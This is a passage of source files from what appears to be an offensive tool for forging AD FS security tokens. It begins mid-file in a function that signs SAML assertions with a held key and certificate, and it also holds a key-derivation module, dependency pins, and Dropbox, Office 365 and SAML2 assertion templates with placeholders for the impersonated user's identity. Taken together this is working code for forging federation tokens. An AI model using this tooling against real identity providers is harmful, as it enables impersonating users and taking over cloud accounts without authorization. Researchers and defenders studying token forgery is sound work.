| data = etree.fromstring(saml_string) 22 | 23 | signed_xml = XMLSigner(c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#", signature_algorithm=algorithm, digest_algorithm=digest).sign(data, key=self.key, cert=[self.cert], reference_uri=params.get('AssertionID'), id_attribute=id_attribute) 24 | signed_saml_string = etree.tostring(signed_xml).replace(b'\n', b'') 25 | signed_saml_string = re.sub(b'-----(BEGIN|END) CERTIFICATE-----', b'', signed_saml_string) 26 | return signed_saml_string 27 | -------------------------------------------------------------------------------- /microsoft_kbkdf.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from enum import Enum 8 | 9 | from six.moves import range 10 | 11 | from cryptography import utils 12 | from cryptography.exceptions import ( 13 | AlreadyFinalized, InvalidKey, UnsupportedAlgorithm, _Reasons 14 | ) 15 | from cryptography.hazmat.primitives import constant_time, hashes, hmac 16 | from cryptography.hazmat.primitives.kdf import KeyDerivationFunction 17 | 18 | 19 | class Mode(Enum): 20 | CounterMode = "ctr" 21 | 22 | 23 | class CounterLocation(Enum): 24 | BeforeFixed = "before_fixed" 25 | AfterFixed = "after_fixed" 26 | 27 | 28 | @utils.register_interface(KeyDerivationFunction) 29 | class KBKDFHMAC(object): 30 | def __init__(self, algorithm, mode, length, rlen, llen, 31 | location, label, context, fixed, backend): 32 | if not isinstance(algorithm, hashes.HashAlgorithm): 33 | raise UnsupportedAlgorithm( 34 | "Algorithm supplied is not a supported hash algorithm.", 35 | _Reasons.UNSUPPORTED_HASH 36 | ) 37 | 38 | if not backend.hmac_supported(algorithm): 39 | raise UnsupportedAlgorithm( 40 | "Algorithm supplied is not a supported hmac algorithm.", 41 | _Reasons.UNSUPPORTED_HASH 42 | ) 43 | 44 | if not isinstance(mode, Mode): 45 | raise TypeError("mode must be of type Mode") 46 | 47 | if not isinstance(location, CounterLocation): 48 | raise TypeError("location must be of type CounterLocation") 49 | 50 | if (label or context) and fixed: 51 | raise ValueError("When supplying fixed data, " 52 | "label and context are ignored.") 53 | 54 | if rlen is None or not self._valid_byte_length(rlen): 55 | raise ValueError("rlen must be between 1 and 4") 56 | 57 | if llen is None and fixed is None: 58 | raise ValueError("Please specify an llen") 59 | 60 | if llen is not None and not isinstance(llen, int): 61 | raise TypeError("llen must be an integer") 62 | 63 | if label is None: 64 | label = b'' 65 | 66 | if context is None: 67 | context = b'' 68 | 69 | utils._check_bytes("label", label) 70 | utils._check_bytes("context", context) 71 | self._algorithm = algorithm 72 | self._mode = mode 73 | self._length = length 74 | self._rlen = rlen 75 | self._llen = llen 76 | self._location = location 77 | self._label = label 78 | self._context = context 79 | self._backend = backend 80 | self._used = False 81 | self._fixed_data = fixed 82 | 83 | def _valid_byte_length(self, value): 84 | if not isinstance(value, int): 85 | raise TypeError('value must be of type int') 86 | 87 | value_bin = utils.int_to_bytes(1, value) 88 | if not 1 <= len(value_bin) <= 4: 89 | return False 90 | return True 91 | 92 | def derive(self, key_material): 93 | if self._used: 94 | raise AlreadyFinalized 95 | 96 | utils._check_byteslike("key_material", key_material) 97 | self._used = True 98 | 99 | # inverse floor division (equivalent to ceiling) 100 | rounds = -(-self._length // self._algorithm.digest_size) 101 | 102 | output = [b''] 103 | 104 | # For counter mode, the number of iterations shall not be 105 | # larger than 2^r-1, where r <= 32 is the binary length of the counter 106 | # This ensures that the counter values used as an input to the 107 | # PRF will not repeat during a particular call to the KDF function. 108 | r_bin = utils.int_to_bytes(1, self._rlen) 109 | if rounds > pow(2, len(r_bin) * 8) - 1: 110 | raise ValueError('There are too many iterations.') 111 | 112 | for i in range(1, rounds + 1): 113 | h = hmac.HMAC(key_material, self._algorithm, backend=self._backend) 114 | 115 | counter = utils.int_to_bytes(i, self._rlen) 116 | if self._location == CounterLocation.BeforeFixed: 117 | h.update(counter) 118 | 119 | h.update(self._generate_fixed_input()) 120 | 121 | if self._location == CounterLocation.AfterFixed: 122 | h.update(counter) 123 | 124 | output.append(h.finalize()) 125 | 126 | return b''.join(output)[:self._length] 127 | 128 | def _generate_fixed_input(self): 129 | if self._fixed_data and isinstance(self._fixed_data, bytes): 130 | return self._fixed_data 131 | 132 | l_val = utils.int_to_bytes(self._length, self._llen) 133 | 134 | return b"".join([self._label, b"\x00", self._context, l_val]) 135 | 136 | def verify(self, key_material, expected_key): 137 | if not constant_time.bytes_eq(self.derive(key_material), expected_key): 138 | raise InvalidKey -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | cryptography==2.9.2 2 | lxml==4.9.1 3 | pyasn1==0.4.5 4 | signxml==2.6.0 5 | six==1.12.0 6 | -------------------------------------------------------------------------------- /templates/dropbox.xml: -------------------------------------------------------------------------------- 1 | http://$AdfsServer/adfs/services/trusthttp://$AdfsServer/adfs/services/trust$EmailAddressDropbox$EmailAddressrobinurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport -------------------------------------------------------------------------------- /templates/o365.xml: -------------------------------------------------------------------------------- 1 | $TokenCreated$TokenExpiresurn:federation:MicrosoftOnlineurn:federation:MicrosoftOnline$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearer$UPN$NameIdentifierfalseurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearerurn:oasis:names:tc:SAML:1.0:assertionhttp://schemas.xmlsoap.org/ws/2005/02/trust/Issuehttp://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey 2 | -------------------------------------------------------------------------------- /templates/saml2.xml: -------------------------------------------------------------------------------- 1 | http://$AdfsServer/adfs/services/trusthttp://$AdfsServer/adfs/services/trust$NameID$RPIdentifier$Assertionsurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport -------------------------------------------------------------------------------- /utils.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import sys 4 | import base64 5 | 6 | 7 | def random_string(): 8 | return '_' + ''.join(random.choices(string.ascii_uppercase + string.digits, k=6)) 9 | 10 | 11 | def new_guid(stream): 12 | guid = [] 13 | guid.append(stream[3] << 24 | stream[2] << 16 | stream[1] << 8 | stream[0]) 14 | guid.append(stream[5] << 8 | stream[4]) 15 | guid.append(stream[7] << 8 | stream[6]) 16 | guid.append(stream[8]) 17 | guid.append(stream[9]) 18 | guid.append(stream[10]) 19 | guid.append(stream[11]) 20 | guid.append(stream[12]) 21 | guid.append(stream[13]) 22 | guid.append(stream[14]) 23 | guid.append(stream[15]) 24 | return guid 25 | 26 | 27 | def encode_object_guid(guid): 28 | guid = guid.replace('}', '').replace('{', '') 29 | guid_parts = guid.split('-') 30 | hex_string = guid_parts[0][6:] + guid_parts[0][4:6] + guid_parts[0][2:4] + guid_parts[0][0:2] + guid_parts[1][2:] + guid_parts[1][0:2] + guid_parts[2][2:] + guid_parts[2][0:2] + guid_parts[3] + guid_parts[4] 31 | hex_array = bytearray.fromhex(hex_string) 32 | immutable_id = base64.b64encode(hex_array) 33 | return immutable_id 34 | 35 | 36 | def die(): 37 | sys.exit() 38 | 39 | 40 | def print_intro(): 41 | 42 | print(' ___ ____ ___________ ____') 43 | print(' / | / __ \/ ____/ ___/____ ____ ____ / __/') 44 | print(' / /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_ ') 45 | print(' / ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/ ') 46 | print('/_/ |_/_____/_/ /____/ .___/\____/\____/_/ ') 47 | print(' /_/ \n') 48 | print('A tool to for AD FS security tokens') 49 | print('Created by @doughsec\n') 50 | --------------------------------------------------------------------------------